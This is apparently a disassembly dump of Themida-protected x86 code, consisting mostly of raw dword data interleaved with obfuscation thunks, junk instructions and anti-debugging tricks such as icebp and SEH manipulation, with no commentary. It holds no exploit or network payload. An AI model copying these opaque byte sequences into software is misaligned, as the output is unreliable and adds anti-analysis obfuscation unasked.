		dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 10E836h, 99960000h
		dd 8D8DBFCBh, 5C3139E3h, 470B2766h, 0E9606F2Ah,	0Dh, 6333227Eh
		dd 1FFEF111h, 8E7A9D44h, 0E78166E5h, 5F61A0A7h,	206E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0ADCEAA37h, 0B70FCD73h, 0BD8960FBh, 6131061h
		dd 4C858B61h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 717BC357h, 604ACAF6h
		dd 38D0Fh, 0B70F0000h, 3DB58BC0h, 61061335h, 1800C7h, 81660000h
		dd 8B7BD1E7h, 16C450B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CD47B4AEh, 0B0C0E4BEh
		dd 0BD334E86h, 61300D9h, 2A55858Bh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0F3367EC3h
		dd 0C7813D62h, 4918E96Fh, 0CF810689h, 4707906Ch, 2BB9858Bh
		dd 81660613h, 891E2BCBh, 9D290446h, 6131D29h, 8B665096h
		dd 8B6696FAh, 4CB5FFF8h, 6A0616C4h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B501C357h
		dd 2A6AA34Fh, 0ACB75034h, 5E9h
		dd 0CE196500h, 0BF0F0A62h, 48A068F9h, 10E99072h, 4000000h
		dd 0A051A936h, 82826A2Bh, 0E0DD6BAAh, 81A8A96Fh, 0BB5F2404h
		dd 10E86FACh, 28000000h, 7405F024h, 0A2655B5Ch,	2CBBDA97h
		dd 0E90F65E6h, 12h, 0F3601A08h,	2D9CF564h, 6070FB77h, 4A72CCE9h
		dd 8D5B6210h, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0A6E2BDA1h, 12E9h, 0C7C4D700h
		dd 0E107A70Bh, 1E83DEh,	0DA761F0h, 664063D4h, 0F50FE8Bh
		dd 8Bh,	24048900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 20C35343h, 918F8458h,	0BD0BE637h, 6132BC1h
		dd 0A3D95FFh, 0DE80613h, 90000000h, 0EB2AEBD3h,	0E148C963h
		dd 3AC915D9h, 16D19D2Bh, 615F0613h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0A7C35646h,	0D04EE4ECh, 6B3BF6B0h
		dd 18A0Fh, 0C7F50000h, 13305585h, 306h,	0DF8B6600h, 2FE9BD8Bh
		dd 0BD830613h, 616C454h, 4D840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 52FAC352h, 45E9A5h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0BCA62AC3h, 1F546308h
		dd 0C381845Ah, 2E6B0112h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0B22DC355h,	0F4D807A8h
		dd 0B70FB5F0h, 9E9F8h, 938B0000h, 56B77ADCh, 6A56D606h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2FABC353h, 9D8B0DB5h, 6132879h, 3055BD83h
		dd 0F030613h, 4F785h, 0CDBD8900h, 83061304h, 16C454BDh
		dd 840F0006h, 4E4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0BCC35646h, 98DBFA0Bh, 0C7181AD0h, 6642BB1Fh
		dd 0B5FF2145h, 616C454h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0DFC35141h, 6995FF6Fh, 6A061309h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 6AB3C350h, 6B1210DAh, 1F359D29h, 0B58B0613h,	616C448h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h
		dd 56B100E5h, 4ADAE448h, 0E84AB160h, 0Bh, 0CA6F6B6Ch, 0B479E519h
		dd 59E01A88h, 106C761h,	60000100h, 0F8F8E681h, 8D0B4C35h
		dd 6131559h, 830F5061h,	0
; ---------------------------------------------------------------------------
		mov	[esp], esi
		mov	di, si
		push	dword ptr [ebp+616C454h]
		push	0
		push	eax
		call	sub_5C5FF7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5FF7	proc near		; CODE XREF: Themida_:005C5FEFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C5FF7	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		push	0FF140C4Eh
		mov	di, 10B6h
		call	dword ptr [ebp+6133229h]
		mov	edi, [ebp+6130645h]
		mov	edi, [ebp+6130BA5h]
		mov	esi, [ebp+616C448h]
		mov	ebx, [ebp+6131205h]
		mov	eax, [ebp+6130631h]
		mov	edi, [ebp+6132051h]
		mov	[esi+0C4h], eax
		push	0
		push	esi
		call	sub_5C604C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C604C	proc near		; CODE XREF: Themida_:005C6044p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C604C	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5C606D
; ---------------------------------------------------------------------------
		dw 56E1h
		dd 8B05E8F8h, 131BBD95h, 56006A06h
		db 0E8h
; ---------------------------------------------------------------------------


loc_5C606D:				; CODE XREF: Themida_:005C605Cj
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 419CBF3h, 82363FCCh,	56601B56h, 5BF98B66h, 0C890Fh
		dd 7E90000h, 15000000h,	2EF20BD4h, 6661C44Ah, 819FCF81h
		dd 6A04C283h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 2B08C351h, 1C780C52h, 0D78166D7h
		dd 8D01C8CFh, 6132A29h,	8B205089h, 131BCDBDh, 0E3858D06h
		dd 890616D8h, 130F499Dh, 0B8868906h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8290C352h, 471E2020h, 8C0F0F87h, 5, 65C51DBBh, 89006A05h
		dd 132255BDh, 54B5FF06h, 6A0616C4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4E0C353h
		dd 0E97BAC25h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 9595FFBBh
		dd 6A06131Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0F6F1C357h, 579BD89h, 9D8B0613h
		dd 61323A5h, 850F5096h,	0Ch, 52505250h,	2 dup(585A310Fh)
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0F90882E8h, 0D2E04AE2h, 9E9h, 16AAEF00h
		dd 0DA7CE054h, 0DF8B47F2h, 0C454B5FFh, 6A0616h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E39123C3h, 9276575Dh, 950158B0h, 61312C9h, 214595FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 66EE30C3h, 0BD839E11h, 6131495h, 71840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 43CEC356h, 7591BDB6h, 50BF6076h
		dd 0BB565250h, 41F4F7E5h, 0B7310F5Fh, 89585AB3h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 600925C3h, 2A2811C8h, 0F26DF8Ah, 0A82h, 61606000h, 820Fh
		dd 0BF610000h, 4F18C56Dh, 0C454B5FFh, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5AD88DC3h, 0CE8B6B7h, 71000000h, 72F6E92Ah, 82C654BCh
		dd 5BEFE146h, 5AD95FFh,	6A0613h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 83750CC3h, 0E19DB5BFh
		dd 0FF8EB794h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 94F20907h
		dd 120995FFh, 0B4B70613h, 511BD83h, 0F020613h, 7D84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 3C8B8F9Eh, 0A456A54Ch, 0D5BD8B01h, 0F806131Ah, 0F55858Bh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 86DD49C3h, 0AC0BE11h, 0DF8B66AEh,	6A0000C6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E242C357h, 800Fh, 85C70000h, 6131E51h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C63DF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C63DF	proc near		; CODE XREF: Themida_:005C63D7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C63DF	endp

; ---------------------------------------------------------------------------
		adc	eax, 0FFF118E9h
		jmp	fword ptr [edx+0]
; ---------------------------------------------------------------------------
		push	ecx
		call	sub_5C6400
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6400	proc near		; CODE XREF: Themida_:005C63F8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C6400	endp

; ---------------------------------------------------------------------------
		adc	eax, 35FC7027h
		mov	dl, [edi+66h]
		mov	edi, ecx
		pop	edi
		mov	eax, ecx
		mov	ebx, [ebp+6131E79h]
		lea	eax, [ebp+6131EA9h]
		push	0
		push	ebp
		call	sub_5C6434
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6434	proc near		; CODE XREF: Themida_:005C642Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C6434	endp

; ---------------------------------------------------------------------------
		lodsd
		pusha
		or	al, 66h
		pop	ss
		icebp
		push	eax
		and	edi, 2F0A635Dh
		pop	ebx
		nop
		push	eax
		nop
		sub	[ebp+6131D3Dh],	eax
		push	0
		mov	edi, [ebp+61330A5h]
		push	0
		mov	ebx, 628F2E46h
		lea	eax, [ebp+617A311h]
		mov	[ebp+6130561h],	ecx
		cmc
		add	eax, 5
		push	eax
		pop	ebx
		push	eax
		jg	loc_5C6485
		mov	bl, cl


loc_5C6485:				; CODE XREF: Themida_:005C647Dj
		mov	[esp], eax
		stc
		mov	bl, 0EBh
		push	0
		clc
		push	0
		push	0
		push	edi
		call	sub_5C649B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C649B	proc near		; CODE XREF: Themida_:005C6493p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C649B	endp

; ---------------------------------------------------------------------------
		cmp	[edi+ecx+684h],	cl
		add	[ecx], cl
		xchg	eax, ebp
		dec	ebp
		sub	[ebx], dl
		push	es
		or	ebx, 5B91B443h
		call	dword ptr [ebp+61307F1h]
		push	0
		push	ecx
		call	sub_5C64D0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C64D0	proc near		; CODE XREF: Themida_:005C64C8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C64D0	endp

; ---------------------------------------------------------------------------
		test	al, 9
		sub	eax, 10A59509h
		adc	eax, [esi]
		lea	ecx, [ebp+616A36Ah]
		push	0
		push	esi
		call	sub_5C64FA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C64FA	proc near		; CODE XREF: Themida_:005C64F2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C64FA	endp

; ---------------------------------------------------------------------------
		dw 85E1h
; ---------------------------------------------------------------------------
		fsub	qword ptr [esi-45h]
		imul	dl
		call	ecx
		push	0
		push	eax
		call	sub_5C651E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C651E	proc near		; CODE XREF: Themida_:005C6516p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C651E	endp

; ---------------------------------------------------------------------------
		adc	eax, 55850913h
		push	es
		adc	eax, [esi]
		mov	[ebp+6130FDDh],	ebx
		cmp	dword ptr [ebp+613173Dh], 1
		jnz	loc_5C65DB
		push	0
		push	edi
		call	sub_5C6554
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6554	proc near		; CODE XREF: Themida_:005C654Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C6554	endp

; ---------------------------------------------------------------------------
		dd 2C44D062h, 7DB50939h, 6A06131Fh, 9D9D3102h, 0BF061322h
		dd 30505ABEh, 89D98B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 6D1A1FC3h, 9D8BA2AEh
		dd 61334A9h, 0FFD9B70Fh, 131E9595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 2B82B891h
		dd 130F41BDh, 2DBD8B06h
; ---------------------------------------------------------------------------
		pop	ds
		adc	eax, [esi]


loc_5C65DB:				; CODE XREF: Themida_:005C6543j
		jmp	loc_5C74ED
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 617A31Bh
		mov	[ebp+61323C1h],	edi
		pusha
		mov	esi, [ebp+6131005h]
		xor	ebx, [ebp+6131401h]
		popa
		lea	eax, [ebp+6168F5Eh]
		push	0
		push	esi
		call	sub_5C6611
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6611	proc near		; CODE XREF: Themida_:005C6609p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C6611	endp

; ---------------------------------------------------------------------------
		mul	dword ptr [eax+36h]
		mov	ebp, 60504B11h
		pusha
		mov	ax, cx
		jnp	$+6
		popa
		jnz	loc_5C663D
		mov	bx, ax


loc_5C663D:				; CODE XREF: Themida_:005C6634j
		popa
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5C664C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C664C	proc near		; CODE XREF: Themida_:005C6644p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C664C	endp

; ---------------------------------------------------------------------------
		dd 8529F53Bh, 35FF6454h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+61308A9h],	ebx
		mov	large fs:0, esp
		xor	di, 878Dh
		inc	dword ptr [ebp+61316D9h]
		push	0
		push	edi
		call	sub_5C668B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C668B	proc near		; CODE XREF: Themida_:005C6683p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C668B	endp

; ---------------------------------------------------------------------------
		db 6Bh
		dd 0CA423373h, 746C491Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0B9F048C3h, 56E72521h
		dd 1371B589h, 0B5FF0613h, 613125Dh, 0E160D781h,	95FF7996h
		dd 61331ADh, 147E9h, 758D8900h,	0B006130Bh, 2DBD3300h
		dd 0E606131Ah, 0A5BD8B70h, 0E906132Bh, 0Ch, 9B30ED25h
		dd 0F4883E76h, 0DE1B4A0h, 0BD2B71E4h, 6132565h,	830F613Ch
		dd 110h, 21199D8Bh, 0BE80613h, 4A000000h, 5A856F6Ch, 0D0A8C552h
		dd 8589764Ah, 6131E85h,	0C8B60F5Bh, 9E9h, 40177F00h, 4F748EDBh
		dd 6BAF2E8h, 8B000000h,	6AD781C1h, 606DC877h, 0D5A92DBAh
		dd 0E8C16143h, 66D88A04h, 0FE8BE2F7h, 9D8BC82Bh, 61310B9h
		dd 0E1958960h, 0B906131Dh, 40DC0BF6h, 0BFD18B61h, 44793CD6h
		dd 0C375BB66h, 19E9h, 95036000h, 6130C69h, 0CE9h, 8B17B000h
		dd 419464A4h, 0CB95C06Fh, 858B610Bh, 6131A61h, 83F88B66h
		dd 0C08307C0h, 85895600h, 6130521h, 0FD03B5Fh, 2183h, 1B8FBB00h
		dd 5DE91F6Ch, 9000000h,	13153D9Dh, 830F6006h, 6, 830Fh
		dd 0B70F0000h, 8D8B61F6h, 6133251h, 19599D8Bh, 0E1830613h
		dd 31840F01h, 0E9000000h, 0Eh, 0F8B33BDEh, 3DD8F65Fh, 6E11F81h
		dd 0A583F6FFh, 6133251h, 89BD01FEh, 8906131Ah, 131A6195h
		dd 8B0F06h, 0E9000000h,	0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6171D8Bh]
		sub	[ebp+6131EBDh],	ebx
		push	0
		push	0
		push	edx
		call	sub_5C6845
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6845	proc near		; CODE XREF: Themida_:005C683Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C6845	endp

; ---------------------------------------------------------------------------
		xchg	esi, [eax]
		cmc
		nop
		xchg	eax, esi
		mov	ebx, [ebp+61312A9h]
		call	dword ptr [ebp+6130DA9h]
		push	0
		push	ecx
		call	sub_5C6871
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6871	proc near		; CODE XREF: Themida_:005C6869p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C6871	endp

; ---------------------------------------------------------------------------
		db 0EBh, 0F2h, 0CEh
		dd 593FBB45h, 0BD8B5E15h, 613325Dh, 761B9h, 0DEB70F00h
		dd 0EE8h, 832B9700h, 8C11E455h,	1D4FCF93h, 0E92DB8B2h
		dd 11h,	0BCA463D8h, 0E2A09286h,	0B7D1BEBh, 0EE17FD05h
		dd 0E1835FA3h, 56006AFCh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 6AFC7F21h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E19C353h
		dd 0E5D2CC49h, 0B8B764h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 750CC356h
		dd 9DB5BF83h, 7A0C94E1h, 22C5BD89h, 0BA0613h, 8B000000h
		dd 132981BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 50006AF4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0D5A0DB22h, 89DB4BD4h, 130B2985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 9F3F2B13h
		dd 659D23ECh, 0D061325h, 88h, 21A9BD8Bh, 958B0613h, 6131BBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h
		dd 2F0CB8BBh, 0E59D8B64h, 8B061320h, 1318DD8Dh,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0DD39B753h, 80BCBB66h, 8B50D98Ah, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	23D1BD0Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A2D446C3h
		dd 53CBD3F0h, 0BD835FF5h, 6131D1Dh, 96840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 21F9C353h, 8A5031E5h, 300D8509h, 0BD090613h
		dd 6130C59h, 0B8h, 0C3816600h, 8D8DC78Fh, 6134F8Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h, 9B2838B9h
		dd 7EA68CCEh, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 4680C352h, 32BBEA77h
		dd 605C55A4h, 5E9h, 219BD100h, 1FB65F77h, 55BD8361h, 61330h
		dd 456840Fh, 0BB660000h, 0BD83BE04h, 6133055h, 60840F01h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 928C351h, 1310F18Dh, 28B0F06h
		dd 0B7000000h, 55BD83BFh, 3061330h, 3F3860Fh, 0EE80000h
		dd 0D1000000h, 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 8B66601Bh
		dd 890FFBh, 61000000h, 6A605Fh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F391BC3h, 682h, 39BD2B00h
		dd 23061325h, 1313B5BDh, 0D98C6606h, 0BE96056h,	95000000h
		dd 0CFBC3BA1h, 0C14A6DFEh, 0BA66B116h, 5B610040h, 5E8h
		dd 90737A00h, 8B668784h, 0E1805FD9h, 0B59D8B04h, 0A06131Fh
		dd 62840FC9h, 8B000001h, 0B9858BDAh, 0F06132Bh,	1A8Ch
		dd 12E800h, 0E99D0000h,	0D67F7D67h, 512657CDh, 48189567h
		dd 0BCA309E6h, 335B6160h, 1305B985h, 66509006h,	6A90FE8Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 65D5C355h, 0DE9h,	0AD8CCB00h, 3F96C9D9h
		dd 0A02F7090h, 6AC6D9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D9C35545h, 729AFDC6h, 1C1F4658h, 0B007A7BFh
		dd 4E829h, 3FF0000h, 6650001Fh,	8B07B3BFh, 8B042444h, 0E9525000h
		dd 6, 0A18E7B7h, 310FF416h, 4489585Ah, 0FABB0424h, 5836AC8Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h
		dd 11E9h, 0F7ACA100h, 288310D1h, 8B917B3Ch, 1FBFCD4Eh
		dd 95FFBF1Fh, 6130A3Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E4C35040h, 93F72E69h, 6697B388h, 0A318DF81h
		dd 6820F52h, 2B000000h,	130C5D9Dh, 85895F06h, 616C454h
		dd 67CB8166h, 1C7E93Dh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0B5AB4C3h, 8B208348h
		dd 130149BDh, 4C858B06h, 6A0616C4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1EA1C356h
		dd 1800C796h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 70C2C353h, 0AD47D481h
		dd 0BD298172h, 6132495h, 0C450B58Bh, 0D7800616h, 55858B65h
		dd 6A06132Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6467C355h, 660BB629h, 89D860BFh
		dd 919D2306h, 6606130Dh, 858BFA8Bh, 6132BB9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 44689F9h
		dd 34F18D89h, 0E8500613h, 14h, 110EACC2h, 0B887AAF6h, 10981B28h
		dd 0CB52CC0h, 34A1E425h, 895FF88Bh, 23512434h, 1310A5BDh
		dd 0B5FF5B06h, 616C44Ch, 1DB99D8Bh, 680613h, 566EE2F6h
		dd 0B8837FBFh, 34815F7Dh, 0FDF5FF24h, 13E86Eh, 69D10000h
		dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h,	0CBC78116h
		dd 5F5B83DDh, 0C454858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 2B1928C3h, 2890F50h
		dd 53000000h, 2404895Fh, 0E9C68B60h, 6,	0D96AF0C3h, 0FF618988h
		dd 130A3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F3B9B204h, 0E9FB8B66h, 11h, 410B5931h
		dd 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh, 0BD8B619Fh, 6131295h
		dd 305585C7h, 30613h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 8B9E9EC3h, 54BD83BDh
		dd 616C4h, 2B840Fh, 0B5890000h,	6130029h, 3BE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B70F6BF4h, 0C3050DAh, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 53C35343h, 0DC4E56BFh, 0A99D8B21h, 8B061319h
		dd 130F019Dh, 55BD8306h, 3061330h, 4E3850Fh, 9D290000h
		dd 6130911h, 0C454BD83h, 0F000616h, 4D084h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 133A71F7h, 0E781660Fh, 0B5FFF6F3h, 616C454h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2BC35242h, 8AC56403h
		dd 0FF031440h, 13096995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8B539E5Ch
		dd 132ECDBDh, 11E85B06h, 58000000h, 7FE36B50h, 3D94E03Ch
		dd 11095465h, 2EB2BFFh,	48B58B5Fh, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0C07EC351h, 1DCD14CAh, 0B329BEB8h, 106C773h
		dd 6A000100h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 8EB5C351h, 28BA4E2Eh, 23BB508Dh
		dd 89319757h, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 37DEEDC3h, 54B5FF8Dh, 6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BC7FC357h, 12ED9529h, 95FF0613h,	6133229h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5BC35040h
		dd 400F64BDh, 43EEF723h, 0FBB70F56h, 48B58B5Fh,	8B0616C4h
		dd 1306E9BDh, 0CE906h, 4C5C0000h, 85EE2C5h, 52CBD6C5h
		dd 858BE1ECh, 6130631h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 4DC35747h, 8689A2C2h,	0C4h, 12859589h
		dd 958B0613h, 6131BBDh,	835BF856h, 6A04C2h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0B4A164C3h
		dd 8921C370h, 51602050h, 810Fh,	8B5A0000h, 131B11B5h, 858D6106h
		dd 616D8E3h, 0E8FEBF0Fh, 13h, 9AE8273Dh, 9D016D7Fh, 0BA621E55h
		dd 0E2C026D4h, 8B196ECBh, 130A59BDh, 86895F06h,	0B8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4C35242h, 0E62566BAh
		dd 13E9600Ch, 0DD000000h, 0FA36E745h, 4C49BE58h, 45EE2180h
